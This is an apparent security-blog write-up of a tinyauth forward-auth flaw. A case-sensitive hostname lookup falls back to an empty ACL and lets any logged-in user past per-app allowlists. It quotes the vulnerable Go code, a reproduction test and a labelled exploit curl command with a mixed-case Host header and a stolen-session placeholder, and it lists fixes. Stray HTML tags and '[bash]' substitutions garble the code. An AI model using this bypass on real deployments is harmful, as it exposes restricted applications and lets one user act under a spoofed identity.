Listen to this Post
tinyauth is a forward-auth service used by Traefik, Caddy, nginx, and Envoy.
The reverse proxy calls GET /api/auth/
tinyauth returns 200 only when the request is authorized.
tinyauth maps the forwarded hostname to per-app ACL rules.
ACL sources are static apps: config and Docker labels.
Each app ACL can restrict users.allow, users.block, oauth.whitelist, oauth.groups, ldap.groups, and ip.allow.
These allowlists separate one protected app from another for shared authenticated users.
The hostname-to-ACL lookup uses case-sensitive Go string comparisons.
It compares config.Config.Domain == domain.
It also compares strings.SplitN(domain, “.”, 2)
== app.</h2>
Hostnames are case-insensitive in DNS, HTTP Host routing, and TLS SNI.
immich.example.com and IMMICH.example.com therefore route to the same backend.
A mixed-case host is forwarded in X-Forwarded-Host, X-Original-URL, or Host.
<h2 style="color: blue;">tinyauth's case-sensitive lookup misses the configured ACL entry.</h2>
<h2 style="color: blue;">On a miss, GetAccessControls falls back to DockerService.GetLabels.</h2>
GetLabels returns an empty config.App{} with no error when nothing matches.
It also returns an empty App when Docker is not connected.
<h2 style="color: blue;">The proxy handler evaluates that empty App.</h2>
<h2 style="color: blue;">IsAuthEnabled becomes true.</h2>
<h2 style="color: blue;">CheckIP with no allow/block becomes allowed.</h2>
<h2 style="color: blue;">IsUserAllowed with empty users.allow calls CheckFilter("", ...).</h2>
<h2 style="color: blue;">CheckFilter returns true for an empty filter.</h2>
Group checks with empty required groups also return true.
Any already-authenticated user is then authorized with 200 Authenticated.
<h2 style="color: blue;">This defeats users/groups/IP allowlists for every proxy integration.</h2>
<h2 style="color: blue;">The attacker must have a valid low-privileged account.</h2>
<h2 style="color: blue;">The bypass is authorization-only, not authentication.</h2>
<h2 style="color: blue;">Unauthenticated visitors are still redirected to login.</h2>
A mixed-case Host header, trailing FQDN dot, or added port can trigger the miss.
tinyauth emits Remote-User and Remote-Email to upstream apps after the bypass.
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: tinyauth forward-auth
Version: < 5.1.2
Vulnerability: ACL host bypass
Severity: High
date: Not provided
<h2 style="color: blue;">Prediction: Patch date unknown</h2>
<h2 style="color: blue;">(end of form)</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
[bash]
git clone --depth 1 --branch v5.0.7 https://github.com/steveiliop56/tinyauth
cd tinyauth
mkdir -p internal/assets/dist
printf '<!doctype html><>stub</>' > internal/assets/dist/index.html
go test ./internal/controller/ -run TestForwardAuthHostCaseACLBypass -v
func (acls AccessControlsService) lookupStaticACLs(domain string) (config.App, error) {
for app, config := range acls.static {
if config.Config.Domain == domain {
return config, nil
}
if strings.SplitN(domain, ".", 2)[bash] == app {
return config, nil
}
}
return config.App{}, errors.New("no results")
}
func (docker DockerService) GetLabels(appDomain string) (config.App, error) {
if !docker.isConnected {
return config.App{}, nil
}
return config.App{}, nil
}
func CheckFilter(filter string, str string) bool {
if len(strings.TrimSpace(filter)) == 0 {
return true
}
return false
}
how Exploit: (Educational Purposes!)
curl -H 'Host: IMMICH.example.com' https://<proxy>/ --cookie 'tinyauth-session=<bob-session>'
func TestForwardAuthHostCaseACLBypass(t testing.T) {
lower := forwardAuth("immich.example.com")
upper := forwardAuth("IMMICH.example.com")
assert.Equal(t, 403, lower.Code)
require.Equal(t, 200, upper.Code)
require.Equal(t, "bob", upper.Header().Get("Remote-User"))
}
Protection: from this CVE
Canonicalize forwarded host.
Lower-case ACL domains.
Use strings.EqualFold.
Fail closed on ACL miss.
Deny by default.
Add regression tests.
Impact:
Any authenticated user reaches restricted apps.
Per-app allowlists are bypassed.
Remote-User identity is spoofed.
Protected app data becomes readable.
Protected app actions become writable.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

